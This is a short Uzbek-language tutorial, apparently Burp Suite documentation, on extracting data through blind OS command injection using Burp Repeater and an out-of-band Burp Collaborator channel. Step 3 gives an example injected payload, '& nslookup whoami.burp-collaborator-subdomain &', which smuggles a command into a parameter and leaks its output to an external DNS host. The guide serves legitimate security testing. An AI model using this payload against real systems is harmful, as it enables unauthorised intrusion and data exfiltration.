Burp Suite bilan ma'lumotni sizdirish uchun OS command injection zaifliklaridan foydalanish

Asinxron OS command injection'ga qarshi zaif bo'lgan so'rovni aniqlaganingizdan so'ng, veb-sayt va Burp Collaborator o'rtasidagi tashqi kanal (out-of-band) orqali kiritilgan buyruqlar natijasini chiqarib olishga urinishingiz mumkin.

Boshlashdan oldin

Asinxron OS command injection'ga qarshi zaif bo'lgan so'rovni aniqlang. Batafsil ma'lumot uchun qarang: Burp Suite bilan asinxron OS command injection zaifliklarini sinash.

Qadamlar

So'rovdan ma'lumot chiqarib olishga urinish uchun Burp Repeater'dan foydalanishingiz mumkin:

1. Proxy > HTTP history da asinxron OS command injection'ga qarshi zaif bo'lgan so'rovga o'ng tugma bilan bosing. Send to Repeater ni tanlang.
2. Repeater yorlig'iga o'ting.
3. Parametr qiymatini proof-of-concept payload'iga o'zgartiring. Payload quyidagilarni o'z ichiga olishi kerak: Masalan, & nslookup whoami.burp-collaborator-subdomain & Burp Collaborator subdomeniga DNS so'rovini keltirib chiqarishi mumkin. Bu so'rov whoami buyrug'ining natijasini o'z ichiga oladi.
   • Collaborator subdomeni uchun DNS so'rovini keltirib chiqarish uchun nslookup buyrug'i. Payload ichiga Collaborator subdomenini joylashtirish uchun o'ng tugmani bosing va Insert Collaborator payload ni tanlang.
   • Ma'lumot oladigan buyruq, masalan, whoami buyrug'i.
4. Send tugmasini bosing.
5. Collaborator yorlig'iga o'ting va Poll now tugmasini bosing. Collaborator serveri bilan har qanday muloqotlar jadvalda ro'yxatga olinadi.
6. Chiqarib olingan ma'lumotlarni aniqlash uchun har qanday muloqot tafsilotlarini ko'rib chiqing.